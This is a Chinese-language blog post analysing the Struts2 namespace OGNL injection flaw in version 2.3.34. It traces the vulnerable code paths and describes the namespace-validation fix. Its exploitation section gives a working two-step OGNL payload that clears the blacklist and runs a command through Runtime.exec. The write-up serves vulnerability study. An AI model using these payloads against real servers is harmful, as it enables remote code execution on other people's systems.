前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。

这个就是最后一个了。


环境搭建

2.3.34 版本 struts2 + Tomcat 9。

修改 struts.xml:

<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

漏洞分析

阅读官方通告漏洞发现者的文章,设置一个 redirectAction 的 result:

<result name="success" type="redirectAction">
    <param name="actionName">login!update.action</param>
</result>

然后全局搜索用到 alwaysSelectFullNamespace 这个布尔的地方,找到 DefaultActionMapper 类的 parseNameAndNamespace 函数:

...
else if (alwaysSelectFullNamespace) {
    // Simply select the namespace as everything before the last slash
    namespace = uri.substring(0, lastSlash);
    name = uri.substring(lastSlash + 1);
}
...
mapping.setNamespace(namespace);
mapping.setName(cleanupActionName(name));

看到 mapping.setName 这里,namespace 没有经过校验,存在 OGNL 表达式注入的可能,可以联想到之前 setResult、setMethod 导致的问题,按照经验继续搜索 mapping.getNamespace、proxy.getNamespace、getProxy().getNamespace 等调用,可以找到 3 个类,分别是:

ServletActionRedirectResult
PostbackResult
ActionChainResult

先看 ServletActionRedirectResult 类:

public void execute(ActionInvocation invocation) throws Exception {
    actionName = conditionalParse(actionName, invocation);
    if (namespace == null) {
        namespace = invocation.getProxy().getNamespace();
    } else {
        namespace = conditionalParse(namespace, invocation);
    }
    if (method == null) {
        method = "";
    } else {
        method = conditionalParse(method, invocation);
    }

    String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));

    setLocation(tmpLocation);

    super.execute(invocation);
}

super.execute 会往上来到 StrutsResultSupport 类:

public void execute(ActionInvocation invocation) throws Exception {
    lastFinalLocation = conditionalParse(location, invocation);
    doExecute(lastFinalLocation, invocation);
}

同样很眼熟,会将 location,即用 namespace 和其他数据拼接成的路径当作表达式进行解析,触发了漏洞。

接下来看 PostbackResult 类,可以看到逻辑基本一致:

@Override
public void execute(ActionInvocation invocation) throws Exception {
    String postbackUri = makePostbackUri(invocation);
    setLocation(postbackUri);
    super.execute(invocation);
}

makePostbackUri 函数拼接,然后 execute 触发。

最后看看 ActionChainResult 类:

public void execute(ActionInvocation invocation) throws Exception {
    // if the finalNamespace wasn't explicitly defined, assume the current one
    if (this.namespace == null) {
        this.namespace = invocation.getProxy().getNamespace();
    }

    ValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(namespace, stack);
    ...
}

可以看到调用了 translateVariables 函数,直接把 namespace 当作表达式来用了。

漏洞利用

2.3.34 版本中 #context 无法使用了(如果是 2.5.10 版本之后的,黑名单也无法用 clear 来清空了),所以需要另寻他法。

阅读参考文章,#context 可以用 #attr 来替代,clear 可以用 setter 来替代,最后的 payload 为两步,先清空黑名单:

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

然后执行命令:

(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))

2.3.x 版本的无法使用这个 payload,因为 setter 跟 2.5.x 有一点差别:

// 2.5.x
public void setExcludedClasses(String commaDelimitedClasses) {
    Set<String> classNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses);
    Set<Class<?>> classes = new HashSet<>();

    for (String className : classNames) {
        try {
            classes.add(Class.forName(className));
        } catch (ClassNotFoundException e) {
            throw new ConfigurationException("Cannot load excluded class: " + className, e);
        }
    }

    excludedClasses = Collections.unmodifiableSet(classes);
}

// 2.3.x
public void setExcludedClasses(String commaDelimitedClasses) {
    Set<String> classes = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses);
    for (String className : classes) {
        try {
            excludedClasses.add(Class.forName(className));
        } catch (ClassNotFoundException e) {
            throw new ConfigurationException("Cannot load excluded class: " + className, e);
        }
    }
}

可以看到少了最后的一句:

excludedClasses = Collections.unmodifiableSet(classes);

所以调用 setter 无法清空黑名单。

漏洞修复

给 namespace 加上了校验:

protected Pattern allowedNamespaceNames = Pattern.compile("[a-zA-Z0-9._/\\-]*");
...
mapping.setNamespace(cleanupNamespaceName(namespace));

参考文章:

https://xz.aliyun.com/t/3395

https://xz.aliyun.com/t/2618


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

用一个缓冲区溢出 bug 绕过 php7.4.3 disable_functions
Linux栈溢出入门